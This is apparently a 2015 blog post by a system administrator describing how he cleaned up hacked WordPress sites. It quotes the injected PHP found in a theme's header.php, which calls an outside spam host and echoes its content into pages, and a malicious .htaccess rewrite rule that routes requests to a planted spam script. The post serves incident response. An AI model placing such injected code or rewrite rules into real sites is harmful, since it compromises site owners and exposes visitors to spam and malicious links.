• Posted on: 21 April 2015
  • By: davis

This started because I logged into my computer at 8:00 A.M. Tuesday, April 21, 2015.

I started setting up our daily emails and needed a good quote for SITE1's email.

I went to the site - it was down. That's weird. I was getting a 500 Internal Server Error - big problem.

The Outreach theme (which SITE1 uses) relies on a file called header.php.

This file had been compromised, and the attacker left an injected malicious script. It is very likely that all users of this theme were affected, which could be hundreds or thousands of websites.

The injection code:

echo "
"; $source = "http"."://"."paydayloanldx"."."."com/abcd/index.php?d=".$_SERVER['HTTP_HOST']."&r=".urlencode($_SERVER['REQUEST_URI']); echo file_get_contents($source); ?> genesis_structural_wrap( "inner" );

I removed the offending PHP, restarted the apache service, and all was well.

I decided to grep the server for "paydayloan." This was a due diligence check - I didn't really expect to find anything.

Well, I found a ton of references to payday loans. The only problem? They weren't the same hack.

These payday loan references were all emitting from a few folders called .log, buried deep in SITE2's Wordpress folders.

There were over 7000 HTML files, slowly being generated, with nonsensical keyword spam and links to disreputable websites.

A rogue script was generating these files - and modifying my .htaccess files. Here's a typical .htaccess modification:

# wordpresshtaccess
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /wp-includes/generalklausel.php?q=$1 [L]

In the error logs, I saw a lot of this:

17:33:29 America/Denver] PHP Fatal error:  'break' operator with
non-constant operand is no longer supported in
/site2/public_html/wp-includes/  on line 1

When I inspected generalklausel.php, my heart sank. Line upon line of "base64_decode", also known as a link-generating spambot. There were more generalklausel.php's (mwanga.php, moodalbox.php, hotjobs.php, embed.php, drop_down.php, adminscripts.php, serp-min.php) There were even more scripts using preg_replace (a legitimate function used all the time) to insert their spam.

Not all of them were even effective, but they were eating up CPU cycles and hard drive space. I began diligently removing the scripts but they kept popping back up. I noticed the files belonged to A quick check with my boss confirms that account belonged to an ex-employee. It looks to me like he left some directories insecure and open to full execution by the public. That's probably how they're getting in. Random cgibins all over the place... don't know what he was doing back then, but it's killing us now.

I began double-checking all permissions across the server. I made a quick backup and methodically inspected all website files. I sanitized MySQL references to the bad files, and uploaded a fresh Wordpress install. I removed as a user after ensuring that I took control over his files with a safe user account. Once his grip was pried off the files, I removed his home directory and any test files associated with it. I notice some more errors popping up from,, and All of them previously owned by the account. I repeat the sanitization process that I used on SITE2. On top of all of this, Wordpress 4.1.2 came out around noon that day. It was supposed to help with security.

Had to update all of our websites. Permissions were set to 775 in many cases. I even saw a 777 case in his home folder.

I do not know if the person User Name is to blame, or if his account was compromised a long time ago.

All Wordpress permissions are correct across the board. All traces of and the offending files have been removed.